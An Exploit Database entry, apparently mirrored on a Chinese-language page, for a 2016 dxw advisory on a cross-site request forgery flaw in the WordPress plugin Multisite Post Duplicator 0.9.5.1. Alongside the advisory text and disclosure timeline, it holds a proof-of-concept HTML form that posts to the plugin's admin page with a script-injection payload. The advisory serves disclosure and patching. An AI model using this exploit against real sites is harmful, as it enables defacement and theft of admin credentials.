WordPress Plugin Multisite Post Duplicator 0.9.5.1 – Cross-Site Request Forgery

• Exploit Database
• 109 阅读

• 作者： dxw
  日期： 2016-12-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40908/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65

  <!-- Details ================ Software: Multisite Post Duplicator Version: 0.9.5.1 Homepage: http://wordpress.org/plugins/multisite-post-duplicator/ Advisory report: https://security.dxw.com/advisories/csrf-vulnerability-in-multisite-post-duplicator-could-allow-an-attacker-to-do-almost-anything-an-admin-user-can-do/ CVE: Awaiting assignment CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)   Description ================ CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do   Vulnerability ================ Contains a CSRF vulnerability which can copy content from one site of a multisite installation to another. This could be used to add arbitrary HTML to the front-end of the site (which could be used for defacement, harvesting login credentials from authenticated users, or could be used to do virtually anything a logged-in admin user can do). This could also be used to view content not meant to be published.   Proof of concept ================ Some of these values may need adjusting depending on the post IDs, blog IDs, etc. -->   <form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=mpd\"> <input type=\"text\" name=\"mpd-post-status\" value=\"draft\"> <input type=\"text\" name=\"mdp-prefix\" value=\"<script>alert(1)</script>\"> <input type=\"text\" name=\"action\" value=\"add_foobar\"> <input type=\"text\" name=\"el0\" value=\"post\"> <input type=\"text\" name=\"el1\" value=\"1\"> <input type=\"text\" name=\"el2\" value=\"1\"> <input type=\"text\" name=\"el3\" value=\"1\"> <input type=\"text\" name=\"duplicate-submit\" value=\"Duplicate\"> <input type=\"submit\"> </form>   <!-- Mitigations ================ Update to version 1.1.3 or later.   Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/   Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.   This vulnerability will be published if we do not receive a response to this report with 14 days.   Timeline ================   2016-11-01: Discovered 2016-12-07: Tested version 1.1.3 and found the plugin no longer vulnerable to the attack as described 2016-12-09: Advisory published       Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information. -->